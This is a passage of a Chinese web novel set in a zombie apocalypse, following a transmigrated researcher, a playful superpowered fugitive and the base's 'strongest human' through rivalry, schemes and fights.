万万没想到,几秒后他睁开眼,发现自己竟然活得好好的。 不是什么黑暗男主突然之间醒悟过来,决定悔过自新、痛改前非并且大发善心,也不是因为他手滑了刀偏了。 而是*他*出手了。 郗烬忱,这个可靠的、有着一双紫罗兰般漂亮眼睛的鲨鱼牙男人站在了他面前,轻描淡写地为他挡住了这一刀,仿佛卿淼真的是那嘴里说的所谓“心上人”。 尽管造谣出来的孩子压根不存在,但这位迟聿驷口中所谓的‘孩子他妈‘仍然替孩子履行了保护他的职责,甚至都没计较他在宿敌面前编排他能生——卿淼感动到都要用道具恩将仇报地为他赋予这项伟大的功能了——即使孩子他妈本人可能一点都不在意。 行为和脑回路都不能以常理思考,卿淼心里太清楚对方为什么救他,原因很简单,不过是他闭眼前快速讲了句: “我这次死亡不会变魔术。” 这个喜欢看乐子的男人哪怕自己成为了乐子也要继续看乐子。 眼看着乐子即将消失——他不相信卿淼的话,但已经通过杀死对方观看过三次‘魔术’,为了杜绝掉这一次其死亡后百分之一不会回溯的可能性,并且迟聿驷又用了五成实力,便立刻打了个响指瞬移到这位可怜的穿越者面前。 利用也好,诈欺也罢,结果能让自己开心的话,郗烬忱完全不介意成为别人的棋子或是工具。 察觉到一击必杀的攻击顷刻间被人施施然挡住,迟聿驷脚步一顿,刀都罕见地变得如同他名字那般迟疑起来。 具体表现在:他没有选择再挥出第二刀,而是冷漠地对面前这人吐出四个字。 “你做什么?” 郗烬忱的指尖滴着血,脸上却仍然在笑,他挑了挑眉,凌乱发丝下的两颗眉钉折射出冷冽的光,状似思考道:“入世第一条,先救‘心上人’?” 红色的液体沿着对方的指缝缓缓滑落,迟聿驷的刀尖微不可察地颤了一下,末了,毫不掩饰地冷笑出声:“那你可真不遗余力。” “打打杀杀多不好,”郗烬忱随意将血珠甩落在地,摊开掌心,唇角勾起一抹玩世不恭的笑意,“身为人类最强,亲爱的,你要为追求爱与和平做出表率。” 爱与和平,这四个字有哪个能跟迟聿驷沾边? 这句堪称离谱的话被说得实在过于富有感情,喜欢打打杀杀的人类最强掀起眼皮,目光毫无波澜地看他。 郗烬忱与那道目光相接,“啧”了一声,毫无意外地耸肩道:“好吧,看起来你真不喜欢这个称呼。” 眼眸一挑,他向前倾身,故意一字一顿地将其他称谓含在唇齿:“或者不喜欢那个,想要一个更好听的?比如……” 迟聿驷的脸色以肉眼可见的速度沉下来,搭在刀鞘上的指节绷成凌厉的直线。始作俑者却笑得愈发灿烂。 有人听着感到不爽那他就要爽了,有着鲨鱼牙的男人勾起愉悦的笑,决定对所有人都这样称呼。 “怎么,你还要对他出手?”紫眸下垂扫过黑色长刀,郗烬忱做出打响指的动作,噙着笑意问:“还是对我出手?” 最后下来都会变成后者,迟聿驷轻嗤一声:“你要护着他?” 郗烬忱轻哼一声:“嗯哼。” 自带免伤的异能太过难缠,如果不用九成实力的话也破不了对方的防,可这一刀下去,那明日基地基本也不复存在。 虽然根本不在乎这些人的死活,但迟聿驷觉得实在麻烦,对此漠然地移开视线。 见他收了刀,郗烬忱歪头去看卿淼,又哼起完全不在调上的曲谱,每个音符都跑调得有些夸张。 后者还在愣愣地盯着空气看,郗烬忱思索一番,随手摘下头顶那顶摇摇欲坠的银铃礼帽,轻轻扣在卿淼头上。 手指在帽檐随意一碰,扎着小辫的伪绅士做了个不伦不类的告别礼,声音轻快而肆意。 “那明天见,亲爱的——” 紧接着,在卿淼眼前,这位让他恨得牙痒又难以言喻的男人很简单地打了个响指,像是魔术师谢幕时的华丽退场,整个人凭空消失在飘散的紫色光尘中,也不知道专门来见他一面到底是为了什么。 研究所的警报还在响彻,满地都是碎裂的试管和翻倒的仪器。 想要逃离的疯子救了他,本该保护他的人仍然在想着杀他,卿淼谨慎地抬头,正对上迟聿驷冷冽的目光。 基地的第一小队队长冷漠地盯着他看,如同打量一只会呼吸的虫豸,似乎是在寻找以一种怎么样的角度才能毫不费力且不脏手地一刀砍死他。 这种令人窒息的沉默持续了足足十秒。 好在,这位人类最强最终只是抛下一句话:“维修费用从你工资里扣。” 那结果很坏了。哪怕再活九十九年,卿淼微薄的研究员薪水也不够赔付一整层实验室的。 卿淼拿下头顶歪斜的礼帽,在废墟中就这样慎重地呆立了半晌,完全不知道那个男人有没有真的离开,他的耳畔仍然回响着对方清脆的响指声。 虽然这次对方出手护住了他,但谁知道这个神经病会不会下次见面就微笑着再让自己脑袋开花。这疯子跟男主一样难以捉摸,就算手里的道具都能对他使用,卿淼还是控制不住地后背发凉。 他看到迟聿驷转身要走,不知怎的,鬼使神差地开口问道:“你怎么知道他……”话到一半突然卡住,恨不得咬断自己的舌头。 但想着迟聿驷暂时绝对不会再痛下杀手,卿淼拽着礼帽,特别有志气地没有双腿发颤。 迟聿驷微微侧头,目光掠过那顶礼帽,眼神从看牲畜的冷漠变成看弱智的平静。 “我看得到。”他言简意赅。 毕竟身为外来者的卿淼怎么也不会猜到,郗烬忱和迟聿驷这两个罪恶的男人,因为某方面的原因,目前正共享着同一条性命。 迟聿驷精神力一触,郗烬忱的体温、心跳、甚至血液流动的细微变化,都在他的意识中清晰呈现,让他连对方身上有几处擦伤都了如指掌,更别说怀孕这种对于男性而言可笑的事情。 迟聿驷嘴角抚平,淡蓝色的瞳孔仿若极地冰川般泛起森冷寒意,居高临下地问:“怎么,你能谎话成真?” 卿淼下意识点了点头,毕竟他有攻略系统。 迟聿驷却好笑般耐人寻味地看他一眼,凌空一刀斩开身侧空间,闪身踏入时,身上无端多了件被风卷得猎猎作响的黑色风衣。 扎着小辫的紫眸男人正倚在里面的墙上,漫不经心地用牙齿磨着巧克力棒。耳垂上的蓝宝石耳钉在阴影处闪过寒光,被划破的小臂还在渗血,殷红的血珠落到银色包装纸上,凝成一颗颗水滴形状的琥珀。 虽然离场表现得非常完美,但整个基地都在迟聿驷的领域笼罩之下,没有这人对空一斩,郗烬忱暂时还无法直接离开……使点小手段也不是不能走,只是他向来不愿意在这种赶路的‘小事’上过多浪费自己的能力。 迟聿驷脚步微滞,忽然侧首,微长的黑色碎发漫过眼帘:“绷带?” 跟我说话?卿淼一愣,他哪里来的……他从系统处花一积分兑换了三卷精品绷带,老老实实地递给了对方。 迟聿驷扔给他一张银色卡片,毫不客气地接过后抬脚踏入,连一句谢谢都没有说,卿淼刚想凑过去瞄上一眼,那道裂缝就以惊人的速度愈合消失。 回想起郗烬忱方才替他挡下的那一刀,卿淼猛然感到一阵恶寒:打完还带专门去讥讽的,这对已经决裂的兄弟到底是有多大仇啊? 看到有人不打招呼地到来,倚在墙边的郗烬忱眯起眼睛,齿间突然发力,咬断了嘴里的巧克力棒。 可可碎屑沾染在唇侧,他视线在迟聿驷的手和脸之间逡巡半秒,倏地笑起来,拖长的尾音带着淬了蜜的恶意:“这么好心?我还以为……” 话未说完,三卷绷带对着他的面门凌空砸来,又在距离几厘米处被无形屏障隔绝,缓缓下降着停滞在他手边。 郗烬忱嘴角笑意未变,垂眸掠过,不紧不慢地把话补完:“…你也挺令人讨厌。” 刻意的就好像是在回应哪句话。 迟聿驷利落收手,顺势掸了掸纤尘不染的风衣下摆,语气毫无波澜:“自己会缠?” “很遗憾——”郗烬忱懒洋洋举起受伤的那只左手,又炫耀般展示了下捏着三根巧克力棒的右手,像是非常苦恼的样子,示意自己两只手都被征用了。 迟聿驷站在那里,脸色冷峻如常,眉梢都没动一下。 郗烬忱意料之中地耸了下肩,将咬了一半的巧克力塞入紧身裤口袋,腰腹微微弓起,肌肉线条在布料下突显出来。 他低头看向自己渗血的手臂,舔了舔嘴角,用牙齿咬住绷带一端,尖锐的牙齿在纱布上留下浅浅的凹痕,舌尖若有似无地扫过渗血的边缘。手指灵活地缠绕着,方式粗暴且随性无比,还在末端系了一个简易的蝴蝶结。 “你的礼物…真稀奇啊,”银紫色的小辫垂落胸前,郗烬忱垂眸看着剩下的那些,声调像是融化在舌尖的黑巧克力,对着曾经的友人玩味地勾起笑容:“我都舍不得用了。” “那就扔了。” “不用涂药就能恢复的好东西啊,你怎么这么浪费。” “可别当我大发善心。”迟聿驷冷笑。 “那家伙…还有你。”他的指节扣在刀柄上,骨节分明的手背绷起几道青筋,瞥过悬浮的绷带,语气低沉,“第十七次……” “今天是怎么回事?” “可能我这颗璀璨的真心燃烧着就良心发现了吧。”郗烬忱随口回答,看起来心情实在愉悦,“毕竟能获得异能是好事,就跟当初一样。” 迟聿驷视线扫过他的腹部,胸口,最终落在他脖颈处的伤疤,平静地重复道:“一样?” 郗烬忱摊手:“那你觉得呢?” 对方的语气冷得刺骨:“有异能可不是件好事。” “…他若因此落泪,眼泪自有其价值,若因此生怒,怒火自有其归处。”郗烬忱装模装样地摇着头开口,“比起像个奇特的画作被别人叹为观止地观摩…,这才是他应得的对待——获得能力,以及选择如何使用的权利。” 他直起身体,盯着面前人右手持的刀,咧开嘴,露出一个标准的鲨鱼式微笑:“这样吧…亲爱的,我赶时间,快给我一刀。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 100-110 第101章 挂着“心理咨询室”标牌的办公室里, 一位头发卷曲的女士正在为‘该如何优雅地处理面前的尸体’而感到苦恼。 作为暗锋心理俱乐部新上任的代理掌权人,她需要以雷霆手段快速解决掉上一任代理所遗留的问题,然后制定新的俱乐部规章与计划, 毕竟总不能让来访者踩在血泊上做心理疏导。 而上一任代理所带来的麻烦——登记名称为林锦楠的六阶持刀女人已经在三分钟前离开,为了化解掉她对俱乐部所产生的误解,她让她杀死了他。 处理问题, 就是处理掉造成问题的人。 中年男人的四肢如枯枝般虬结盘绕,以一种诡异的姿态扭曲着歪倒在门边,看得出来下手者十分狠辣, 并且异能近乎于不同寻常的诡异。 新鲜出炉的六阶“灾厄”晶核还在桌子上静静躺着, 卷发女人深思着,听到身旁响起“吱呀呀”的开门声响。 她侧头,正对上来者倦懒的视线。 年轻男人单手插兜, 嘴角噙着漫不经心的笑。松散敞开的做旧皮衣里,线条凌厉的锁骨上刻了道未消的疤痕,上方的喉结处还卡着一圈坠着蓝色晶状体的金属环扣项圈。 高阶异能者专用的抑制核,防止异能失控的产物, 女人心下明了。 真稀奇, 那些自视甚高的家伙可没几个会这么循规蹈矩地把这玩意戴在身上。 她凝了凝神,话语在嘴边呼之欲出, 对方的皮靴踏在白茫茫的瓷砖地板上,已然随意地摆了摆手, 头也不回地哼着奇怪的曲调打开了下一扇门。 皮衣下摆在动作间掀起凌厉的弧度,她看见这人耳侧闪过三道细碎的蓝色光点,随着合金门的关闭飞速消失在视野范围之内。 完全不认识。 但是能打开那扇门……女人凝重地想,他的职阶应该比我要高。 自我介绍代号是“热心肠”的好心人郗烬忱先生,刚刚和明日基地的前第二小队队长打了个照面。 为了确认林锦楠离开后的确是按照自己预定的轨迹行动, 这位素来礼貌的男人特意在走出基地后直接刷卡传送到了这里。 作为这家心理俱乐部幕后真正的老板,他用异能将直接连通办公室的门卡散发到了所有有需求的人手上,如开门时浮现的文字所写—— 专业的事情要交给专业的人:押运、猎杀、清理,一条龙安心服务,从源头解决掉所有心理问题。 他被四大基地通缉又如何,只要不露面就没有任何问题,这很简单,于是所谓的代理人被推上前台。 而这次解决掉不听话的棋子,还给‘心上人’物色了一个保镖,可谓两全其美,不枉他为此准备了整整三天。 穿过狭长的走廊,靴底与地面碰撞出的声音在空荡的通道里回荡,直至尽头的最后一扇门因感应到他的接近而自动滑开。 郗烬忱摸了摸刚戴上的金属圈环,随手将外套往沙发上一抛,整个人紧随其后倒进柔软的沙发里,发出一声放松的叹息。 防止习惯性打响指而造成不必要损失的一种小小的防御措施(比如曾经被粉碎的三箱巧克力棒),他可没那么好的良心在意别人的安危……郗烬忱屈指弹了下脖颈处悬挂的蓝色晶石,修长的双腿随意架在桌子边缘,内衬因这个动作大幅度上移,露出一小截精悍的腰线。 散漫的目光粗略扫过这间栖身之所,房间内的陈设简陋得近乎刻薄。因为近几年逃亡在外的经历,他对生活质量的要求极低,甚至于连张床都没有:一张足够大的沙发,一张茶几,除此之外,零零散散的杂物堆满了整个空间。 郗烬忱半躺着,指尖一路从腹部按到胸口。卿淼口中那团奇怪的能量体静默得仿佛一潭死水,安分到好像根本并不存在,也不知道到底是用了什么手段。 突然觉醒的异能吗…总觉得有些不对劲。 他尝试着屏息凝神,又捕捉到一丝微妙的异样。 这团能量体没有流动的灼热感,连汲取能量都克制到近乎礼貌的程度,像是怕惊扰到了宿主,仿佛是在努力示意自己只是单纯地待在这里。 如卿淼所说,汲取生机后帮他替死吗? 郗烬忱回忆起青年今天忽然之间迸发的勇气——赢弱又漂亮的家伙,一身稀奇古怪的离奇手段,明明看起来没有任何威胁,却总有一种预感自己会被对方狠狠摆上一道。 尤其是这团能量体出现后,这种即将被反将一军的感觉就愈发强烈了。 他舒展四肢,像只慵懒的猎豹般放松身体,脑海中已经上演了关于未来的无数种可能:卿淼一夜之间成为七阶强者?研究出了针对自己的猎杀方案?还是在猫和老鼠的游戏中被对方反杀?或是关于别的什么…… 眼中闪过一丝玩味的期待,在这无聊乏味的崩坏世界上,半年前被自己发现的这家伙实在是太有意思了。 郗烬忱用绑着绷带的那只手端起早已凉透的茶水,浑不在意地抿了一口,打开一旁的收信设备。 明日基地的内部电讯设备顺势发出很大的滋滋杂音,外表已经有些磨损,边角的镀金漆斑驳脱落,露出底下灰黑的原色,还有一处被暴力拆除的凹槽。 一台是总部,二台是医疗部,三台是作战部,四台是研究院,五台是明日基地小队专属频道,六台是迟聿驷个人专属…… 郗烬忱百无聊赖地拨弄着设备上仅剩的五个按键,当指尖滑向那个空缺的第六键位时,他故意用力在空荡荡的外壳上敲了两下。 这个频道的按键刚拿到手就被他拆下来扔掉,毕竟迟聿驷的个人专属频道这种东西,听起来就让人难以接受。 手指在收音设备上继续游走,郗烬忱几年如一日地惯例安静听着,前五个频道毫无例外,此刻都在以不同角度播报‘明日基地第一小队队长迟聿驷独自一人秒杀五阶丧尸,又一次拯救了全人类’的光荣事迹。 “一人吗…” 捏住茶杯的指节微微收紧,茶叶的涩味混着血腥气在舌尖蔓延,他抬手用腕骨沾了下湿润的唇瓣,左膝一屈,靴底重重抵上茶几,碰撞出刺耳的闷撞声响。 独自一人就能办到所有事情。那朋友啊,家人啊,想来那个人也不需要什么。 正好自己也不需要。 这可太巧了,郗烬忱不合时宜地想,怪不得末世四年,他们两个能在这里活得如此泾渭分明。 脖颈处那道深可见骨的伤疤又开始毫无意义地彰显存在感,完全愈合不了的疤痕,这具身体总是用最直白的方式提醒他那些不愉快的记忆。 绷带下的伤口仿佛也渗出鲜血,郗烬忱仰头将残茶一饮而尽,舔了舔尖锐的牙齿,盘算着明天如约去基地看望卿淼时,顺便再给那位打遍丧尸无敌手的人类最强找点事情做。 准备惊喜的话,做点什么好呢… 怎么感觉脑子里所有能想到的找茬方式都已经实施过。 郗烬忱无意识地用手指敲击茶杯:下水道那条路不能再用了,前几天的入口也都已经被迟聿驷封死,还得赶在对方察觉到异常、展开领域前布置好一切…… 那还有什么地方还能让他偷偷溜进去。 …… “明天你们不出外勤,守好这几个地方。” 明日基地所属第一小队作战室内,空气突然凝固了一瞬。 四个队员互相交换了下眼神,都看到彼此眼里刚出完任务的困倦。 陈三元掐了自己的大腿一把,谨慎地第一个开口问道:“虽然二队讨伐六阶全军覆没,但林队还在。守基地…我们不继续清扫周边了吗?” 他努力地找了几个理由:“是她引来丧尸围城了?基地内部出现问题了?还是有其他基地要来攻打我们……?” 全基地的广播都还在大肆宣扬《关于我们人类最强秒杀五阶丧尸就是如此轻而易举这件事》,迟聿驷眸底一片冷寂,抬手一刀斩碎墙上的播报设备,视线从地图上的红点处移开。 金属残骸裹挟着电火花四散飞溅,他一身黑色风衣立在桌前,整个人像一柄出鞘的刀,面无表情地回答:“都不是。” 陈三元迟疑地问:“那是我们……” 话没说完,队内的奶爸钟鸣曜猛地一拍大腿,决定发挥自己睿智的天才大脑,打断他道:“我知道了!” “队长让我们去守住这几个地方,于是我们明天就去守住这几个地方,那我们明天就不出外勤,就去守住这几个地方,反正队长这么说一定有他的道理!” 钟鸣曜深呼吸一口气,目光炯炯,满脸膜拜地看向迟聿驷,视线里充满顿悟的激动。 膜拜就膜拜,激动就激动,没话可以不讲,简直浪费时间。 一旁的梁修淮后悔在他开口前没有拉住这个智商欠缺的狗腿,在心里默默心疼了一下又一个被砍坏的广播,叹气扶额道:“让我猜猜,该不会那位‘热心市民’又要来‘送温暖’了吧?” “半个月没见我都有点想他了。”四个字触碰到关键词,捣鼓游戏机的陈二毛这才兴致勃勃地抬起头,推了下眼镜道,“能和队长打成平手的就他一个…话说队长,你们这次打架我能不能在旁边看着啊?” 并非一个月前,实际上郗烬忱这一周天天都来。但他不主动露面,他们就一次也发现不了。 迟聿驷指尖轻敲桌面,眼皮都懒得抬,语气淡淡:“你想看?” “我想啊!”陈二毛飞速点头,“只要你俩打架时别顺手把我像路边一条那样踹死就行!我好馋你们的异能啊,真的好想复制一个来玩玩!” “二毛,别乱讲话!”陈三元训斥了一声,他从迟聿驷的语气里敏锐察觉到什么,沉默了下,才开口问,“前几个月护送小卿博士来基地的路上他就天天找事……广播里研究院那个,也是他干的吗?” 迟聿驷瞥他一眼,吝啬地吐出三个音节:“嗯,刚走。” 陈二毛被他哥训了一句,委屈地对着手上的俄罗斯方块捶胸顿足,痛心疾首:“可恶!我怎么没赶上现场!” “话说我学弟他没事吧?怎么刚好发生在地下三层。”梁修淮思索道,“我刚刚给他发消息,还没有收到回复。” 陈二毛无所谓地摆手:“他能有什么事啊,反正队长咔咔一刀就解决了。” 陈三元愣了一下:“他也还没有回我。” 迟聿驷言简意赅道:“人没死。” 至于有没有事,他又不是医生。 “那就好。”梁修淮轻笑一声,这个在末世还坚持穿西装三件套的男人用手指点了点地图,“那我就先选了,为了迎接那位性格活泼的好心人先生……我守这里好了。” “性格活泼?淮哥你是眼睛不好吗,这词形容小姑娘还行,形容他简直神经病啊。”钟鸣曜忍不住吐槽,“我从认识队长那天起他就阴魂不散了,这得多大仇多大怨呐,长的那么帅一小伙怎么脑子不正常呢,他能打得过队长吗?!肯定打不过啊!从决定和队长为敌的那一刻起他就大错特错,他自我审视不清挑错对手了啊!” 迟聿驷:“是挺活泼的。” 钟鸣曜立刻顺势改口,肯定地点头道:“队长说得对,那小辫男完全是个性格活泼的小姑……” 这傻缺…梁修淮眼角微微一抽,不动声色地看向迟聿驷。 后者像是自动忽视掉那句话,没什么表情地地转着手里的红笔。 “发现他就告诉我,”迟聿驷语气平淡地补充,“你们打不过他。” 第102章 基地C区通风口处, 陈二毛正在游戏终端上和D区的钟鸣曜打双人联机。 一个人操控落点,一个人释放技能,如同他们的异能烧血复制C与加血充能辅那般配合得默契十足。 眼看着积分噌噌上涨着有望突破十万大关, 陈二毛的眼神骤然一凛,神情顿时凝重起来。 一番苍蝇搓手,他预备全身心地投入到这场事关尊严的电子战役之中, 抬头飞快地张望了一圈周围的环境。 灰色墙壁,空荡走廊,钛合金门, 死一样寂静。 很好, 没有任何人经过。 陈二毛重新低下头,庄重地按下了“游戏继续”的确认按键。 目前他所站的地方,是小队或个人出紧急任务时会选择的基地快捷通道之一。 通道没有设置人为看守, 但异能五阶以上才能解除警戒系统,故而平日里也没什么人会从这里进出。 满打满算,他在这待了快整整一天了。 遇见的活人只有一个匆忙飞过的三队副队长,除此外什么紫眼睛啊鲨鱼牙啊神秘响指男一个都没遇到, 陈二毛觉得人家可能压根就没有选择走自己在的这条路。 记忆里上次对方的来访很有礼貌, 不但提前向队长打了招呼,还亲切地捎来了一堆四阶丧尸作为礼物。 那些扭曲变异的怪物在基地外围嘶吼着, 不休不眠地嗷嗷了整整一个晚上,差点没用异能把护城墙都给干穿。 基地对外宣称是研究院做实验泄露了什么气味才把丧尸引来的, 要不是凌晨出任务回来的迟聿驷一刀下去贯彻天地横扫千军,光凭基地里这些百分之八十异能等级才到达三阶的人,恐怕这个号称‘最后救赎之地’的人类堡垒早都成为了一座废城。 但这一切都跟现在的陈二毛没有什么关系…… “转圈啊,转圈啊!那个凹槽,你再点一下!让它向左转一圈……啊?竟然把你技能躲过去了?!” 积分榜显示着99981分, 感觉好像又要栽在这个冰冷的数字上了。 不愿意接受即将到来的现实,十六岁网瘾少年陈二毛生无可恋地闭上眼睛,觉得自己在精神层面安详地已经走了有好一会儿了——除非现在立刻马上有奇迹发生。 陈二毛自暴自弃地重新睁开眼睛,却发现有一只修长骨感的手莫名出现,就这样硬生生闯入自己的视野,以一种令人眼花缭乱的速度,自顾自地在他的屏幕上点击着什么。 互换双方控制权、查看装备、释放技能、再互换回来、闪避突进……一连串的操作流畅而又赏心悦目——陈二毛绝对不会承认是对方的手特别好看——反正结果就是积分超过了卡了一个月的十万大关。 103691, GAME OVER。 “菜就多练啊,宝贝儿~”带着几分轻佻的男声从身侧传来,尾音如同羽毛擦过耳廓,像自带小钩子似的上扬。 草!(一种植物 给我干哪去了这是,哪里来的男妖精?! 紧接着,陈二毛还未来得及有所反应,又一道沙哑的女声在耳畔响起:“二毛。卿淼博士,你知道他现在在哪?” 陈二毛一边下意识抬头,一边爆手速截屏发给所有人炫耀,顺带回复完钟鸣曜“你小子最后几秒开挂了?”的质疑,这才去打量面前出现的两道身影。 一个是哼着歌转身去解除警报、只留下神秘背影的男人,另一个是与自己保持了三步距离的女人。 女人套了件咖色的连帽斗篷,层层叠叠的布料泛着奇怪的质感,手搭在腰间的那柄断刀上,像是个从电影里走出来的废土客。 “林队?”打算回男人话的陈二毛愣了一下,脑海的思绪立刻全部被这位救命恩人占据,少年小羞涩道:“您回来了?!” 林锦楠短短“嗯”了声,接着说:“麻烦你给卿淼博士发消息,我约他在C区四号街道入口处见面。” “okok!保证完成任务!” 陈二毛条件反射地应了声,手指快速切到了通讯界面。 等编辑完消息、确认无误后点击发送、再目送两个人的背影消失在视野尽头后,他才猛地反应过来,自己忘了问那个打游戏很厉害的男人是谁。 和林队一起回来,二队的?没见过啊,长什么样来着……糟糕。 林队一出现大脑就全是她了,男人长什么样穿的什么完全没注意,一点也想不起来,背影也变得特别模糊…好像是和淮哥一样的西装……? 算了算了,声音那么好听,管他是谁待会儿问问就知道了,一会儿收工后岂不是还能用这个借口去找林队长单独聊天?! 陈三元这可管不到我,陈二毛美滋滋地想,把这个问题直接抛之脑后,邀请钟鸣曜再开了把游戏。 钟鸣曜无情地拒绝了他的邀请,并在小队通讯频道中问:“不玩了哥们,我这里来了一队隔壁基地的商贩,你那里什么状况?” 陈二毛自己开了一局,随口回复:“没状况啊,我这里除了林队谁都没见到。” “……你也遇到了?”陈三元语气里带着一丝谨慎的困惑,“淮哥是,我这里也来的是两个商人,不走正门,他们是怎么知道的这条路……” 迟聿驷低沉的声音冷不丁从通讯器里刺进来:“她一个人回来的?” “不啊队长,还有个男的。” “长相?” “就男的啊,没印象了,就是声音怪好听的。” 迟聿驷冷嗤一声:“难怪。” 小队频道骤然陷入一片沉默,陈二毛满脑子都是游戏音效,条件反射地应了声,手指还在划拉着屏幕。 两秒后,一个奇妙的结论进入他睿智的大脑。 陈二毛突然反应过来什么,猛地抬起头,手上的游戏终端“啪”的一声掉在地上:“嗯嗯…嗯????” 基地内部,人群嘈杂,弥漫着腐朽与烟火混杂的气息。 来来往往的商贩和幸存者站在街边掰扯物品的价格,广播里流淌着温柔的协和曲调,林锦楠刻意落后半步,跟着卿淼一前一后地从行政楼里走出。 她神色复杂地凝视手上的申请书,想起刚刚这位博士说会尽力帮助她的承诺,不动声色地快速扫视过附近的人群。 没有发现那个行事张扬过度的伪绅士,林锦楠抬手点开耳麦,将声音压得很低:“还在吗?协议已经和他确认过了。” 前方的卿淼脚步停顿下来,顺势扶了下鼻梁上的金丝镜框,昂首去看前方钟表楼显示的时间。 林锦楠:“现在,请告诉我那两个队友的下落。” 郗烬忱斜倚在钟表楼墙角的阴影里,指节有一下没一下地剐蹭着粗糙的墙面,将地面上的一切都尽收眼底。 他身着一件长款的西服风衣,修裁利落的衣摆垂至膝上,复古腰封收束出的线条凌厉而优雅,搭配着内里不规则的堆堆领衬衣,衬得肩背轮廓愈发挺拔。 恰似眸瞳颜色的三条紫水晶坠链在敞开的领口轻晃,棱面于冷白的皮肤上流转出幽暗的碎光,如同鲨鱼收起尖牙,却仍然遮掩不住那末蓄势待发的寒光。 转动手腕,堆叠起的袖口被银质袖扣固定在手肘,露出一截附着薄肌的小臂。郗烬忱微微偏头,阴影覆上眉眼,唇角扬起惯常的弧度。 余光中,他注意到一道修长的身影握着漆黑长刀缓步而来。 郗烬忱站在阴影里,目光扫过出现在对方手腕上那条不伦不类的装饰品,漫不经心地回答她:“当然。” 林锦楠小队中有人的异能可以死而复生,这简直太过遗憾。 六阶丧尸‘灾厄’,异能是会让人在意识深处反复经历生命中最无法承受之重。 郗烬忱以佣兵的身份混入她的队伍,历时三天浑水摸鱼和他们一起找到‘灾厄’踪迹,在队友崩溃地哭喊着“求你杀了我”和“结束这一切”时,他好心地帮忙完成了这些人的愿望,让他们永远地远离这种存活于末世的苦痛。 他一向无法拒绝这些支离破碎的哀求,而售后总是很重要,所以对于那两个能够死而复生的家伙—— 郗烬忱轻笑出声:“可能在哪个废墟之下?”他的语气含着蜜糖般的笑意,心想,也可能在某个丧尸的胃袋里消化。 林锦楠的指节攥得发白,发出不堪重负的脆响,话语从齿间挤出:“你…言而无信。” “我只答应提供地点,”带恶人慢条斯理地戴上战术手套,饶有兴味地观察到林锦楠变幻的脸色,声音温柔得近乎残忍,“但不保证他们还活着——那得看命运的心情。” 林锦楠神情晦涩,没有再开口说话。 “…你要去吗……”他的嗓音裹挟着电流杂音,语调戏谑而散漫,“…那记得把卿淼带上。” 话语落下,郗烬忱敏锐察觉到有人通过某种手段感应到了自己所在的方位,卿淼吗…… 他快速把耳麦扔在脚底碾碎,后退半步,身影消融在昏暗的光线里。 一声脆响,耳麦那头传来漫长的静默,林锦楠握着手中的武器立在原地。 她身旁的卿淼收到系统提示,正在查看系统地图上突然显现又秒速消失的红点——刚买的“只要对方说出使用者名字就能准确定位”的道具——从钟表楼那里移回视线。 他刚刚真的只是单纯看时间而已,完全没想到郗烬忱会待在上面。 而听完林锦楠小队的遭遇,卿淼对此迟迟不能消化。见她这样,不由得喉结滚动了几次,最终吐出低哑的声音:“我猜,那个疯子是不是说……” 林锦楠眼睫微抬,在他说完那个令人窒息的猜测后,才缓缓开口道:“你说能帮我。” “一个没有异能的普通人、一位手无寸铁的博士…还是他让我来保护的对象。”她嘴角勾起讽刺的弧度,“让我该如何相信你?” 手握全部系统道具的卿淼皱起眉头:“你连他都能相信,为什么不相信我?” “我打不过他。”林锦楠淡淡回答。 “而能解决掉他的迟聿驷……”她刻意顿了顿,“这家伙要是想动手,肯定早就已经动手了。” 卿淼:“有没有可能,是迟聿驷也不能保证一定会杀死他,所以才不动手?据我所知,他们仇恨很大。” “人类最强的含金量不是说说而已,关于他的实力,这点你不需要质疑。”林锦楠摇摇头,“在我看来,他跟这人早在末世前就已经认识了,迟聿驷表面上联合所有基地一起通缉他,说不定私下里比谁都要跟他亲近……同伴和基地里的各位——你、我、他的队友,亦或是普通人,所有人的性命在他眼里都微不足道,渺小到如虫豸,不过挥手一刀而已。毕竟那家伙是杀死同伴才觉醒的异能,到现在坐上人类最强的位置,心里可能早就已经疯得无可救药了。” “如果你要帮我,最坏的结果,就是那家伙也会对你出手。” “我怕这吗?”卿淼忽然笑了。 迟聿驷和郗烬忱,他早已经被这两个家伙痛下杀手,无数次濒死的记忆在血管中沸腾,悬在刀尖上的窒息感还在回荡,因此在听完林锦楠的简单陈述后,迸发而出的复仇想法愈加强烈。 他确信自己是个矛盾的人,但人类就是这样,本就是由无数悖论拼凑而成的存在。 害怕、恐惧、瑟缩、战栗,并不耽误他自心脏燃起滚烫的怒火和恨意。 “心生怜悯是我,袖手旁观是我,共情也是我,但无能为力不是我!” 卿淼向前一步,镜片下的眼底燃着某种近乎偏执的狠意:“当是为了我自己吧——既然我答应了你,就一定会让那个疯子尝尝我的厉害!” 第103章 郗烬忱感应到他了。 远处的街道中央, 黑色风衣于走路带风中猎猎翻飞,握着长刀的男人步伐不急不缓,目标准确地直直朝着他所在的钟表楼走来。 真是令人扫兴的能力, 郗烬忱无趣地移开视线,掌心漫不经心地按压在左胸口处。 体温在下降,心跳在共鸣。 位于一定范围内, 他跟迟聿驷就像是被无形丝线捆绑在一起的两具木偶,只要使用精神力,位置与状态都无处遁形, 简直就跟个活靶子一样暴露在彼此的感知之内。 就像刚刚和林锦楠对话时, 胸膛中的心跳忽然漏了半拍,他就知道是他在靠近。 但这由生命共享附带出的糟心能力最多也只能进行探查和定位,不然郗烬忱高低要每天给自己放点血, 隔天再断个胳膊断个腿,让迟聿驷隔空体验一下什么叫作活着的刺激与激情。 他倚在阴影里,修长的手指漫无目的地缠绕着胸前的紫水晶坠链,就这样偷听下方二人毫不遮掩要对自己出手的谈话, 目光顺势观察着基地内四通八达的路径。 “走东侧?”指尖一弹, 紫水晶被高高抛起,在空中划出绚丽的光斑。郗烬忱半眯起眼睛, 自顾自思索道,“…甩开的话, 奖励自己一根巧克力棒。” 水晶落回掌心,他舔了舔尖锐的鲨鱼牙,又快速地补充说:“没甩开那就吃两根。” 皆大欢喜的决定,郗烬忱心情不错地哼起调子。 而就在他单方面宣布结果的刹那,远处的迟聿驷突然屈膝踏过垂直的墙面。 他弓身利落地跃上房梁, 借着反冲力横跨楼间空隙,宛如一只锁定猎物的猛禽般疾速飞来。 高低错落的七栋楼间隔在他脚下如履平地,靴底与混凝土碰撞的闷响越来越近,那道鬼魅般的黑发身影撕裂空气,眨眼间就要瞬闪至面前,带着毫不遮掩的攻击性,妄图将猎物笼罩在刀光与阴影交织而出的牢笼内部。 